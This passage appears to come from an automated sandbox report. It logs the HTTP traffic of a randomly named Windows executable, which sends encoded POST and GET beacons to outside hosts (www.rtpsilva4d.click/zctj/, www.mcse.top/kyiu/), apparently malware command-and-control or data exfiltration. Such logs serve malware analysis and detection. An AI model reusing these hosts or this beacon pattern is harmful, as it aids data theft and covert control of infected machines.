                                                                                                                                                                                                      Data Ascii: LvYDDv8X=2QQI6K98ll10J08YArj/r5gGWWIdOaeIRjd6anFLaNHCITnbX0N2FQFvZsSwCmojsRyo9PrSb/avKi9T1EbhEfpmizgw6ehDhWOx8QlUnR8JFDq5wg0Ay5H8KY3L48+l9+26Y7rRGP+kwT8/7O20nEvdg9aw65HeuKDnvPj2VUZwah8UEUoa7hisl+a06e4k4TPQwLGXhjco
                                                                                                                                                                                                      Oct 9, 2024 14:45:12.450618029 CEST479INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:12 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Content-Length: 315
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      6192.168.2.66540267.223.117.169804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.427444935 CEST799OUTPOST /zctj/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.rtpsilva4d.click
                                                                                                                                                                                                      Origin: http://www.rtpsilva4d.click
                                                                                                                                                                                                      Referer: http://www.rtpsilva4d.click/zctj/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 32 51 51 49 36 4b 39 38 6c 6c 31 30 47 77 41 59 46 4d 33 2f 36 4a 67 46 61 32 49 64 48 36 65 4d 52 6a 52 36 61 6d 78 62 61 37 58 43 49 7a 58 62 55 31 4e 32 43 51 46 76 58 4d 53 78 61 47 70 76 73 52 76 4c 39 4e 76 53 62 2f 4f 76 4b 69 4e 54 32 7a 33 67 46 50 70 6b 33 6a 67 79 6e 4f 68 44 68 57 4f 78 38 51 78 71 6e 53 4d 4a 45 7a 36 35 33 78 30 44 73 70 48 6a 64 6f 33 4c 76 4d 2b 70 39 2b 33 70 59 36 33 33 47 4a 79 6b 77 57 41 2f 37 66 32 7a 74 45 75 59 75 64 62 78 72 4a 43 47 6c 4a 53 33 68 2f 6a 38 4f 48 6b 53 62 58 39 4f 59 6e 6f 35 70 78 43 75 6c 38 43 47 36 2b 34 4f 36 54 33 51 69 63 4b 77 75 58 35 4c 32 51 72 58 4c 76 55 4f 2f 54 33 50 32 35 63 7a 2b 67 77 4b 58 51 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=2QQI6K98ll10GwAYFM3/6JgFa2IdH6eMRjR6amxba7XCIzXbU1N2CQFvXMSxaGpvsRvL9NvSb/OvKiNT2z3gFPpk3jgynOhDhWOx8QxqnSMJEz653x0DspHjdo3LvM+p9+3pY633GJykwWA/7f2ztEuYudbxrJCGlJS3h/j8OHkSbX9OYno5pxCul8CG6+4O6T3QicKwuX5L2QrXLvUO/T3P25cz+gwKXQ==
                                                                                                                                                                                                      Oct 9, 2024 14:45:15.993802071 CEST479INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:15 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Content-Length: 315
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      7192.168.2.66540367.223.117.169804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:18.942795038 CEST1812OUTPOST /zctj/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.rtpsilva4d.click
                                                                                                                                                                                                      Origin: http://www.rtpsilva4d.click
                                                                                                                                                                                                      Referer: http://www.rtpsilva4d.click/zctj/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 32 51 51 49 36 4b 39 38 6c 6c 31 30 47 77 41 59 46 4d 33 2f 36 4a 67 46 61 32 49 64 48 36 65 4d 52 6a 52 36 61 6d 78 62 61 37 66 43 49 69 33 62 57 53 68 32 44 51 46 76 4a 63 53 38 61 47 6f 31 73 52 33 58 39 4e 6a 6f 62 38 32 76 4b 41 46 54 39 6e 6a 67 4b 50 70 6b 31 6a 67 7a 36 65 67 65 68 57 65 31 38 51 68 71 6e 53 4d 4a 45 31 65 35 68 77 30 44 75 70 48 38 4b 59 33 50 34 38 2f 2b 39 39 48 35 59 36 7a 42 46 35 53 6b 77 32 77 2f 36 74 75 7a 77 30 75 61 70 64 61 69 72 49 2b 6e 6c 4a 4f 37 68 38 2f 46 4f 45 34 53 58 68 55 44 66 47 41 2b 6f 77 57 65 39 63 6d 77 33 65 77 37 7a 6a 2f 50 72 75 4f 48 72 47 49 6f 33 55 48 49 65 74 4a 46 2b 41 6e 6b 39 4d 41 68 78 79 6c 55 58 51 79 47 33 71 66 36 4c 54 38 65 34 69 4b 6f 35 74 6b 6d 55 6e 4e 65 6e 67 79 49 30 63 37 58 46 30 65 6d 33 2b 6d 6e 6e 77 52 65 41 68 52 51 31 46 39 75 57 6a 68 4a 77 30 34 50 35 44 37 68 43 39 73 4c 64 62 64 6a 76 57 31 78 78 37 58 78 58 39 45 6d 78 4c 68 4c 4c 38 37 74 4a 51 31 56 68 66 42 55 69 48 36 34 51 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=2QQI6K98ll10GwAYFM3/6JgFa2IdH6eMRjR6amxba7fCIi3bWSh2DQFvJcS8aGo1sR3X9Njob82vKAFT9njgKPpk1jgz6egehWe18QhqnSMJE1e5hw0DupH8KY3P48/+99H5Y6zBF5Skw2w/6tuzw0uapdairI+nlJO7h8/FOE4SXhUDfGA+owWe9cmw3ew7zj/PruOHrGIo3UHIetJF+Ank9MAhxylUXQyG3qf6LT8e4iKo5tkmUnNengyI0c7XF0em3+mnnwReAhRQ1F9uWjhJw04P5D7hC9sLdbdjvW1xx7XxX9EmxLhLL87tJQ1VhfBUiH64QSooR8FUao+roxEBBhTlUvSNkWeC48Zs6XiTZcf4fsI+4yvWRMVLWn3RC15wzFbGmzt4sosNW5YvhUgA1SpgLwMxOBhi2ifbUH2jj6dnPpTPbPolYb6hMMvzjQMJaoFrVCpI4sDtDlicsJRywrVwryamQXNyzWDCeN1jFiCbA5gUQF5zlb3jyy7nPOrAi/AEBunNYmNs6feZUA8fDFz1Xr1/P0wn7DbISfAKT1/izohlpyXYgXt3SpJ4j/WiBnrONiXcJAshx7G+tNR9DB2XrlS8nRCYibAIc9zFHE9M4KMef55SLwsqgmZSEwpPhozGeLxm4BqtiiiUkOJ884a/kzOB1Z88TKRmFPXgNwLFeiKrT6wmT/ewYPb1sCCHntMSjaYFMz1NJKV1Sl/HFpOPMajT+5a9iaEdE8JVStF6DppAEfLC2LDK5+VJGp3vAL0LXIxyosa1vfXjI/F4wVPX8yM4Bu2zCDZsZbaHlFtA0d3LFczWh8bymlVcUBiCuXClRKNRVHr5pVAQjTiIokIhgGnudVQfxEY4yMgljOYsheuS+KJ8SXrehTHNzX39aoN12JJUFyti5ygy5rW1dtkJOP7+aRX2KcfC3CCn5i0BGUJqCQaPPNfkU8R31xcT44BI3/oqlltlMzBk6dQS9whMidb/Pb88RCMAI2F [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:45:19.600725889 CEST479INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:19 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Content-Length: 315
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      8192.168.2.66540467.223.117.169804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:21.483819008 CEST521OUTGET /zctj/?LvYDDv8X=7S4o5+ZCgT4OODwfFpG+s4wiCFAnOZCzfRxqRVdrbobbRD+6SGggBBocUcamamM0rj3t2K/sItShBC5e9jOvPMoEjVY8nsVi0nKhjSB1kxc4L0L73ToKl7iedcacts7drcblfuk=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.rtpsilva4d.click
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:45:22.343030930 CEST479INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:22 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Content-Length: 315
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      9192.168.2.665405154.9.228.56804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:27.935822010 CEST751OUTPOST /kyiu/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.mcse.top
                                                                                                                                                                                                      Origin: http://www.mcse.top
                                                                                                                                                                                                      Referer: http://www.mcse.top/kyiu/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 62 41 79 7a 48 65 31 6d 4a 55 35 39 4b 67 73 78 78 75 4a 50 4f 39 50 59 61 42 59 5a 7a 50 77 4f 4e 76 45 4c 4d 63 4f 43 56 46 42 44 54 39 4b 74 45 53 47 76 6e 49 7a 52 56 51 42 59 4e 57 61 53 37 72 4d 43 77 4d 6f 73 32 68 56 4c 45 78 68 53 4a 51 7a 30 37 72 55 69 62 34 76 71 54 65 77 6c 6e 75 6c 2f 66 50 34 49 33 6d 53 32 67 73 41 36 6c 62 59 44 6d 35 46 4f 34 73 35 44 39 55 30 53 46 79 2b 53 45 76 37 6d 31 66 2f 51 59 38 53 35 35 54 73 6e 6c 76 79 6f 64 50 64 44 44 68 59 38 2b 7a 62 56 65 72 59 68 36 4d 44 33 61 39 79 71 79 41 42 39 54 61 38 42 6e 6c 6d 37 55 4f 53 61 6f 39 70 30 6e 59 74 4e 64 63 6c 66
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=bAyzHe1mJU59KgsxxuJPO9PYaBYZzPwONvELMcOCVFBDT9KtESGvnIzRVQBYNWaS7rMCwMos2hVLExhSJQz07rUib4vqTewlnul/fP4I3mS2gsA6lbYDm5FO4s5D9U0SFy+SEv7m1f/QY8S55TsnlvyodPdDDhY8+zbVerYh6MD3a9yqyAB9Ta8Bnlm7UOSao9p0nYtNdclf
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.560695887 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:28 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 548
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.561813116 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:28 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 548
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                      Oct 9, 2024 14:45:29.562890053 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:28 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 548
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      10192.168.2.665406154.9.228.56804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:30.969381094 CEST775OUTPOST /kyiu/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.mcse.top
                                                                                                                                                                                                      Origin: http://www.mcse.top
                                                                                                                                                                                                      Referer: http://www.mcse.top/kyiu/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
